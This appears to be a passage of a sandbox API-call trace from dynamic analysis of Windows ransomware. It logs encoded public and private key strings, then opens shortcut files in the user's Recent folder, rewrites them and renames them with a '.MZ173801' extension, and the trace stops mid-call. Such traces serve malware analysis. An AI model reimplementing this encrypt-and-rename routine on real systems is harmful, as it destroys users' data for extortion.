lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0148.645] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0148.646] GetCurrentThreadId () returned 0xab4 [0148.646] GetCurrentThreadId () returned 0xab4 [0148.646] GetCurrentThreadId () returned 0xab4 [0148.646] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LmhsbTNLSJY.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\lmhsbtnlsjy.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0148.646] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0148.646] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0148.646] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x30b [0148.646] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0148.646] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x30b, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x30b, lpOverlapped=0x0) returned 1 [0148.647] CloseHandle (hObject=0x280) returned 1 [0148.647] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LmhsbTNLSJY.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\lmhsbtnlsjy.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0148.648] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x30b, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x30b, lpOverlapped=0x0) returned 1 [0148.649] CloseHandle (hObject=0x280) returned 1 [0148.651] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LmhsbTNLSJY.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\lmhsbtnlsjy.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LmhsbTNLSJY.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\lmhsbtnlsjy.lnk.mz173801")) returned 1 [0148.652] GetCurrentThreadId () returned 0xab4 [0148.652] GetCurrentThreadId () returned 0xab4 [0148.652] GetCurrentThreadId () returned 0xab4 [0148.652] GetCurrentThreadId () returned 0xab4 [0148.652] GetCurrentThreadId () returned 0xab4 [0148.652] GetCurrentThreadId () returned 0xab4 [0148.652] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4181c63, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf4181c63, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf4181c63, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x329, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="lOp2Pc8PoOE5fYa7j.lnk", cAlternateFileName="LOP2PC~1.LNK")) returned 1 [0148.652] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0148.652] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0148.652] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lOp2Pc8PoOE5fYa7j.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\lop2pc8pooe5fya7j.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4181c63, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf4181c63, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf4181c63, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x329)) returned 1 [0148.653] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lOp2Pc8PoOE5fYa7j.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\lop2pc8pooe5fya7j.lnk")) returned 0x20 [0148.653] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lOp2Pc8PoOE5fYa7j.lnk", dwFileAttributes=0x80) returned 1 [0148.654] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0148.654] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0148.656] GetCurrentThreadId () returned 0xab4 [0148.656] GetCurrentThreadId () returned 0xab4 [0148.656] GetCurrentThreadId () returned 0xab4 [0148.657] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0148.657] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0148.657] GetCurrentThreadId () returned 0xab4 [0148.657] GetCurrentThreadId () returned 0xab4 [0148.657] GetCurrentThreadId () returned 0xab4 [0148.657] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lOp2Pc8PoOE5fYa7j.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\lop2pc8pooe5fya7j.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0148.657] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0148.657] SetFilePointer (in: hFile=0x280, 